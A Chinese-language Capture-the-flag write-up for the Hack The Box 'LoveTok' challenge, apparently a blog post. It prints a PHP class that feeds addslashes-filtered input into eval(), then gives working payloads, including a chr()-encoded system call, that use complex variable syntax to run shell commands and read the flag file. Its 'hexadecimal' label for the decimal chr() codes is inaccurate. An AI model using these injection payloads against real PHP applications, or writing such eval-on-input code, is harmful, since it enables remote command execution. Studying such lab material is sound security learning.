[Hack The Box] LoveTok- writeup

訪問網址

題目網址進來是這個畫面,頁面上有一個按鈕可以點
點下去之後倒數的時間會變化,並且網址會多出 ?format=r 的參數

直覺判斷這邊就是攻擊點了,再來看看hackthebox的附件檔案,這份應該是網站的備份原始碼。

因為檔案內容比較多,我就貼上比較重要的部分就 好了。
這份檔案的檔名是”TimeModel.php”

<?php class TimeModel 
{     
     public function __construct($format) 
     { 
        $this->format = addslashes($format);
        [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
        $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
    }

    public function getTime()
    {
        eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
        return isset($time) ? $time : 'Something went terribly wrong';
    }
}

1.addslashes() 函數可以在字串當中的單引號(‘) 雙引號(“) 反斜槓(\) 前面再加上一個反斜槓。

ex:
$mystring="I love BMW's performance.";

echo $mystring; //I love BMW's performance.
echo addslashes($mystring); //I love BMW\'s performance.

漏洞利用

一開始有嘗試在 “?format=r” 把r替換成payload

但是這樣會顯示異常,看過網站原始碼推出的原因是因為返回值會和getTime()發生衝突。

所以說現在需要bypass addslashes() 或是 構建一個新的出來使用

構建一個eval()使用成功注入命令取得flag檔案內文

${eval($_GET[1])}&1=system('cat ../../flag*');

使用十六進位字母來bypass addslashes()

${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103).chr(42))} //cat flag

後記

可以透過eval()來bypass addslashes() 甚至可能存在其他層面的攻擊方式,例如sql injection。
而我也從這道題當中學到許多新東西,下面連結都是我覺得有幫助的
裡面有提到單引號和雙引號和變數解析問題,我覺得還挺有趣的!

這邊我用簡單點的概念來說明,如果看不懂得多看幾次。如果再看不懂點右上角叉叉。

$test = “hello world”;
$str = ‘test’ = a();
${a()}; = ${test};
${a()}; = “hello world”;

$test = "hello world";
function a(){
$str = 'test';
return $str;
}
echo  "${a()}";  //hello world

參考文章

Using complex variables to bypass the addlashes function to achieve RCE

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *